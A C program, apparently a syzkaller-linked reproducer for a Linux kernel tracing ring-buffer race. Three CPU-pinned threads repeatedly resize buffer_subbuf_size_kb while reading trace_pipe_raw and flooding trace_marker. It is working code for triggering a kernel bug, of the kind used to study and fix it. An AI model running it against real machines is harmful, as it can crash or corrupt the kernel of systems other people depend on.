// https://syzkaller.appspot.com/bug?id=ee786027f6824e39abc707b38fe8b1c660c5d44c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>

int fd_size;
int fd_raw;
int fd_marker;

void *size_thread(void *arg)
{
    while (1) {
        if (pwrite(fd_size, "4\n", 2, 0) < 0) {
            // Ignore errors as it might fail if busy
        }
        usleep(1000);
        if (pwrite(fd_size, "8\n", 2, 0) < 0) {
            // Ignore errors
        }
        usleep(1000);
    }
    return NULL;
}

void *read_thread(void *arg)
{
    char buf[8192];
    while (1) {
        if (read(fd_raw, buf, sizeof(buf)) < 0) {
            // Ignore errors, especially EAGAIN due to O_NONBLOCK
        }
    }
    return NULL;
}

void *write_thread(void *arg)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf) - 1);
    buf[sizeof(buf) - 1] = '\n';
    while (1) {
        if (write(fd_marker, buf, sizeof(buf)) < 0) {
            // Ignore errors
        }
    }
    return NULL;
}

int main()
{
    fd_size = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
    if (fd_size < 0) {
        fd_size = open("/sys/kernel/debug/tracing/buffer_subbuf_size_kb", O_WRONLY);
    }
    if (fd_size < 0) {
        printf("[-] Failed to open buffer_subbuf_size_kb: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened buffer_subbuf_size_kb successfully.\n");

    fd_raw = open("/sys/kernel/tracing/per_cpu/cpu0/trace_pipe_raw", O_RDONLY | O_NONBLOCK);
    if (fd_raw < 0) {
        fd_raw = open("/sys/kernel/debug/tracing/per_cpu/cpu0/trace_pipe_raw", O_RDONLY | O_NONBLOCK);
    }
    if (fd_raw < 0) {
        printf("[-] Failed to open trace_pipe_raw: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened trace_pipe_raw successfully.\n");

    fd_marker = open("/sys/kernel/tracing/trace_marker", O_WRONLY);
    if (fd_marker < 0) {
        fd_marker = open("/sys/kernel/debug/tracing/trace_marker", O_WRONLY);
    }
    if (fd_marker < 0) {
        printf("[-] Failed to open trace_marker: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened trace_marker successfully.\n");

    pthread_t t1, t2, t3;
    if (pthread_create(&t1, NULL, size_thread, NULL) != 0) {
        printf("[-] Failed to create size_thread: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created size_thread successfully.\n");

    if (pthread_create(&t2, NULL, read_thread, NULL) != 0) {
        printf("[-] Failed to create read_thread: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created read_thread successfully.\n");

    if (pthread_create(&t3, NULL, write_thread, NULL) != 0) {
        printf("[-] Failed to create write_thread: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created write_thread successfully.\n");

    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (pthread_setaffinity_np(t2, sizeof(set), &set) != 0) {
        printf("[-] Failed to set affinity for read_thread: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set affinity for read_thread successfully.\n");

    if (pthread_setaffinity_np(t3, sizeof(set), &set) != 0) {
        printf("[-] Failed to set affinity for write_thread: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set affinity for write_thread successfully.\n");

    sleep(10);
    printf("[+] Finished sleeping. Exiting.\n");

    return 0;
}